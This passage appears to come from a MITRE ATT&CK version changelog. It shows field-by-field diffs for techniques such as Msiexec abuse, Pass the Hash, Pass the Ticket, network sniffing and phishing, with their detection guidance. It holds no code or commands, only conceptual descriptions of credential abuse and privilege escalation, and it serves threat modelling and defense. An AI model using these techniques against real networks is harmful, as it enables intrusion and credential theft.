| > | not account for its potential abuse. | > | not account for its potential abuse. Msiexec.exe execution m | ||
| > | ay also be elevated to SYSTEM privileges if the <code>Always | ||||
| > | InstallElevated</code> policy is enabled.(Citation: Microsof | ||||
| > | t AlwaysInstallElevated 2018) | ||||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Alexandros Pappas'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:38:14.154000+00:00 | 2020-12-14 18:40:45.170000+00:00 |
| description | Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. | Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.
Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018) |
| x_mitre_data_sources[0] | DLL monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Module: Module Load |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft AlwaysInstallElevated 2018', 'description': 'Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated'} | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:58:18.788000+00:00 | 2021-04-12 18:34:06.995000+00:00 |
| x_mitre_data_sources[0] | Sensor health and status | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | SaaS | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_platforms[8] | Office 365 | Containers |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Network device logs |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-11 19:55:53.828000+00:00 | 2021-04-09 14:56:26.562000+00:00 |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Command: Command Execution |
| x_mitre_data_sources[1] | Network protocol analysis | Cloud Service: Cloud Service Enumeration |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | IaaS |
| x_mitre_platforms[2] | macOS | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_platforms[4] | GCP | Containers |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Process use of network | |
| x_mitre_platforms | Azure |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 21:03:49.610000+00:00 | 2021-04-02 17:51:59.236000+00:00 |
| x_mitre_data_sources[0] | Network device logs | Process: Process Creation |
| x_mitre_data_sources[1] | Host network interface | Command: Command Execution |
| x_mitre_detection | Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. | Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Network |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may “pass the hash” using stolen password hashes | t | 1 | Adversaries may “pass the hash” using stolen password hashes |
| > | to move laterally within an environment, bypassing normal s | > | to move laterally within an environment, bypassing normal s | ||
| > | ystem access controls. Pass the hash (PtH) is a method of au | > | ystem access controls. Pass the hash (PtH) is a method of au | ||
| > | thenticating as a user without having access to the user's c | > | thenticating as a user without having access to the user's c | ||
| > | leartext password. This method bypasses standard authenticat | > | leartext password. This method bypasses standard authenticat | ||
| > | ion steps that require a cleartext password, moving directly | > | ion steps that require a cleartext password, moving directly | ||
| > | into the portion of the authentication that uses the passwo | > | into the portion of the authentication that uses the passwo | ||
| > | rd hash. In this technique, valid password hashes for the ac | > | rd hash. When performing PtH, valid password hashes for the | ||
| > | count being used are captured using a Credential Access tech | > | account being used are captured using a [Credential Access] | ||
| > | nique. Captured hashes are used with PtH to authenticate as | > | (https://attack.mitre.org/tactics/TA0006) technique. Capture | ||
| > | that user. Once authenticated, PtH may be used to perform ac | > | d hashes are used with PtH to authenticate as that user. Onc | ||
| > | tions on local or remote systems. Windows 7 and higher with | > | e authenticated, PtH may be used to perform actions on local | ||
| > | KB2871997 require valid domain user credentials or RID 500 | > | or remote systems. Adversaries may also use stolen passwor | ||
| > | administrator hashes.(Citation: NSA Spotting) | > | d hashes to "overpass the hash." Similar to PtH, this involv | ||
| > | es using a password hash to authenticate as a user but also | ||||
| > | uses the password hash to create a valid Kerberos ticket. Th | ||||
| > | is ticket can then be used to perform [Pass the Ticket](http | ||||
| > | s://attack.mitre.org/techniques/T1550/003) attacks.(Citation | ||||
| > | : Stealthbits Overpass-the-Hash) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 16:24:34.766000+00:00 | 2021-03-15 21:04:33.228000+00:00 |
| description | Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.(Citation: NSA Spotting) | Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash) |
| external_references[2]['source_name'] | NSA Spotting | Stealthbits Overpass-the-Hash |
| external_references[2]['description'] | National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018. | Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021. |
| external_references[2]['url'] | https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm | https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/ |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_detection | Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. | Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Blake Strom, Microsoft 365 Defender | |
| x_mitre_data_sources | Logon Session: Logon Session Creation | |
| x_mitre_data_sources | Active Directory: Active Directory Credential Request |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may “pass the ticket” using stolen Kerberos tick | t | 1 | Adversaries may “pass the ticket” using stolen Kerberos tick |
| > | ets to move laterally within an environment, bypassing norma | > | ets to move laterally within an environment, bypassing norma | ||
| > | l system access controls. Pass the ticket (PtT) is a method | > | l system access controls. Pass the ticket (PtT) is a method | ||
| > | of authenticating to a system using Kerberos tickets without | > | of authenticating to a system using Kerberos tickets without | ||
| > | having access to an account's password. Kerberos authentica | > | having access to an account's password. Kerberos authentica | ||
| > | tion can be used as the first step to lateral movement to a | > | tion can be used as the first step to lateral movement to a | ||
| > | remote system. In this technique, valid Kerberos tickets fo | > | remote system. When preforming PtT, valid Kerberos tickets | ||
| > | r [Valid Accounts](https://attack.mitre.org/techniques/T1078 | > | for [Valid Accounts](https://attack.mitre.org/techniques/T10 | ||
| > | ) are captured by [OS Credential Dumping](https://attack.mit | > | 78) are captured by [OS Credential Dumping](https://attack.m | ||
| > | re.org/techniques/T1003). A user's service tickets or ticket | > | itre.org/techniques/T1003). A user's service tickets or tick | ||
| > | granting ticket (TGT) may be obtained, depending on the lev | > | et granting ticket (TGT) may be obtained, depending on the l | ||
| > | el of access. A service ticket allows for access to a partic | > | evel of access. A service ticket allows for access to a part | ||
| > | ular resource, whereas a TGT can be used to request service | > | icular resource, whereas a TGT can be used to request servic | ||
| > | tickets from the Ticket Granting Service (TGS) to access any | > | e tickets from the Ticket Granting Service (TGS) to access a | ||
| > | resource the user has privileges to access.(Citation: ADSec | > | ny resource the user has privileges to access.(Citation: ADS | ||
| > | urity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Tic | > | ecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the T | ||
| > | ket) [Silver Ticket](https://attack.mitre.org/techniques/T1 | > | icket) A [Silver Ticket](https://attack.mitre.org/technique | ||
| > | 558/002) can be obtained for services that use Kerberos as a | > | s/T1558/002) can be obtained for services that use Kerberos | ||
| > | n authentication mechanism and are used to generate tickets | > | as an authentication mechanism and are used to generate tick | ||
| > | to access that particular resource and the system that hosts | > | ets to access that particular resource and the system that h | ||
| > | the resource (e.g., SharePoint).(Citation: ADSecurity AD Ke | > | osts the resource (e.g., SharePoint).(Citation: ADSecurity A | ||
| > | rberos Attacks) [Golden Ticket](https://attack.mitre.org/te | > | D Kerberos Attacks) A [Golden Ticket](https://attack.mitre. | ||
| > | chniques/T1558/001) can be obtained for the domain using the | > | org/techniques/T1558/001) can be obtained for the domain usi | ||
| > | Key Distribution Service account KRBTGT account NTLM hash, | > | ng the Key Distribution Service account KRBTGT account NTLM | ||
| > | which enables generation of TGTs for any account in Active D | > | hash, which enables generation of TGTs for any account in Ac | ||
| > | irectory.(Citation: Campbell 2014) | > | tive Directory.(Citation: Campbell 2014) Adversaries may al | ||
| > | so create a valid Kerberos ticket using other user informati | ||||
| > | on, such as stolen password hashes or AES keys. For example, | ||||
| > | "overpassing the hash" involves using a NTLM password hash | ||||
| > | to authenticate as a user (i.e. [Pass the Hash](https://atta | ||||
| > | ck.mitre.org/techniques/T1550/002)) while also using the pas | ||||
| > | sword hash to create a valid Kerberos ticket.(Citation: Stea | ||||
| > | lthbits Overpass-the-Hash) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-12 17:03:16.122000+00:00 | 2021-03-15 21:42:11.839000+00:00 |
| description | Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks) [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014) | Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks) A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014) Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash) |
| external_references[5]['source_name'] | CERT-EU Golden Ticket Protection | Stealthbits Overpass-the-Hash |
| external_references[5]['description'] | Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. | Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021. |
| external_references[5]['url'] | https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf | https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/ |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'} | |
| x_mitre_data_sources | Logon Session: Logon Session Creation | |
| x_mitre_data_sources | Active Directory: Active Directory Credential Request |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.126000+00:00 | 2021-04-21 16:41:35.269000+00:00 |
| external_references[2]['url'] | https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf | https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | AWS | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.579000+00:00 | 2021-04-06 12:32:47.678000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.3
Version changed from: 2.2 → 2.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-08 17:36:01.675000+00:00 | 2021-03-30 12:29:56.512000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Process: Process Creation |
| x_mitre_data_sources[1] | GCP audit logs | Command: Command Execution |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Group: Group Enumeration |
| x_mitre_data_sources[3] | Azure activity logs | Group: Group Metadata |
| x_mitre_data_sources[4] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | Azure AD | IaaS |
| x_mitre_platforms[5] | AWS | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | SaaS |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send phishing messages to gain access to vic | t | 1 | Adversaries may send phishing messages to gain access to vic |
| > | tim systems. All forms of phishing are electronically delive | > | tim systems. All forms of phishing are electronically delive | ||
| > | red social engineering. Phishing can be targeted, known as s | > | red social engineering. Phishing can be targeted, known as s | ||
| > | pearphishing. In spearphishing, a specific individual, compa | > | pearphishing. In spearphishing, a specific individual, compa | ||
| > | ny, or industry will be targeted by the adversary. More gene | > | ny, or industry will be targeted by the adversary. More gene | ||
| > | rally, adversaries can conduct non-targeted phishing, such a | > | rally, adversaries can conduct non-targeted phishing, such a | ||
| > | s in mass malware spam campaigns. Adversaries may send vict | > | s in mass malware spam campaigns. Adversaries may send vict | ||
| > | ims emails containing malicious attachments or links, typica | > | ims emails containing malicious attachments or links, typica | ||
| > | lly to execute malicious code on victim systems or to gather | > | lly to execute malicious code on victim systems. Phishing ma | ||
| > | credentials for use of [Valid Accounts](https://attack.mitr | > | y also be conducted via third-party services, like social me | ||
| > | e.org/techniques/T1078). Phishing may also be conducted via | > | dia platforms. Phishing may also involve social engineering | ||
| > | third-party services, like social media platforms. | > | techniques, such as posing as a trusted source. | ||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Philip Winther'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 01:55:03.337000+00:00 | 2021-04-14 14:38:43.211000+00:00 |
| description | Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems or to gather credentials for use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Phishing may also be conducted via third-party services, like social media platforms. | Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source. |
| x_mitre_data_sources[0] | File monitoring | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Web proxy | Network Traffic: Network Traffic Content |
| x_mitre_detection | Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. | Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'} | |
| external_references | {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'} | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | Mail server | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Detonation chamber | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_data_sources | Anti-virus |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send phishing | t | 1 | Adversaries may send phishing messages to elicit sensitive i |
| > | messages to elicit sensitive information that can be used du | > | nformation that can be used during targeting. Phishing for i | ||
| > | ring targeting. Phishing for information is an attempt to tr | > | nformation is an attempt to trick targets into divulging inf | ||
| > | ick targets into divulging information, frequently credentia | > | ormation, frequently credentials or other actionable informa | ||
| > | ls or other actionable information. Phishing for information | > | tion. Phishing for information is different from [Phishing]( | ||
| > | is different from [Phishing](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1566) in that the objec | ||
| > | iques/T1566) in that the objective is gathering data from th | > | tive is gathering data from the victim rather than executing | ||
| > | e victim rather than executing malicious code. All forms of | > | malicious code. All forms of phishing are electronically d | ||
| > | phishing are electronically delivered social engineering. P | > | elivered social engineering. Phishing can be targeted, known | ||
| > | hishing can be targeted, known as spearphishing. In spearphi | > | as spearphishing. In spearphishing, a specific individual, | ||
| > | shing, a specific individual, company, or industry will be t | > | company, or industry will be targeted by the adversary. More | ||
| > | argeted by the adversary. More generally, adversaries can co | > | generally, adversaries can conduct non-targeted phishing, s | ||
| > | nduct non-targeted phishing, such as in mass credential harv | > | uch as in mass credential harvesting campaigns. Adversaries | ||
| > | esting campaigns. Adversaries may also try to obtain inform | > | may also try to obtain information directly through the exc | ||
| > | ation directly through the exchange of emails, instant messa | > | hange of emails, instant messages, or other electronic conve | ||
| > | ges, or other electronic conversation means.(Citation: Threa | > | rsation means.(Citation: ThreatPost Social Media Phishing)(C | ||
| > | tPost Social Media Phishing)(Citation: TrendMictro Phishing) | > | itation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Ci | ||
| > | (Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Cit | > | tation: Sophos Attachment)(Citation: GitHub Phishery) Phishi | ||
| > | ation: GitHub Phishery) Phishing for information frequently | > | ng for information frequently involves social engineering te | ||
| > | involves social engineering techniques, such as posing as a | > | chniques, such as posing as a source with a reason to collec | ||
| > | source with a reason to collect information (ex: [Establish | > | t information (ex: [Establish Accounts](https://attack.mitre | ||
| > | Accounts](https://attack.mitre.org/techniques/T1585) or [Com | > | .org/techniques/T1585) or [Compromise Accounts](https://atta | ||
| > | promise Accounts](https://attack.mitre.org/techniques/T1586) | > | ck.mitre.org/techniques/T1586)) and/or sending multiple, see | ||
| > | ) and/or sending multiple, seemingly urgent messages. | > | mingly urgent messages. | ||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 19:44:58.292000+00:00 | 2021-04-15 03:43:13.134000+00:00 |
| description | Before compromising a victim, adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. | Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting 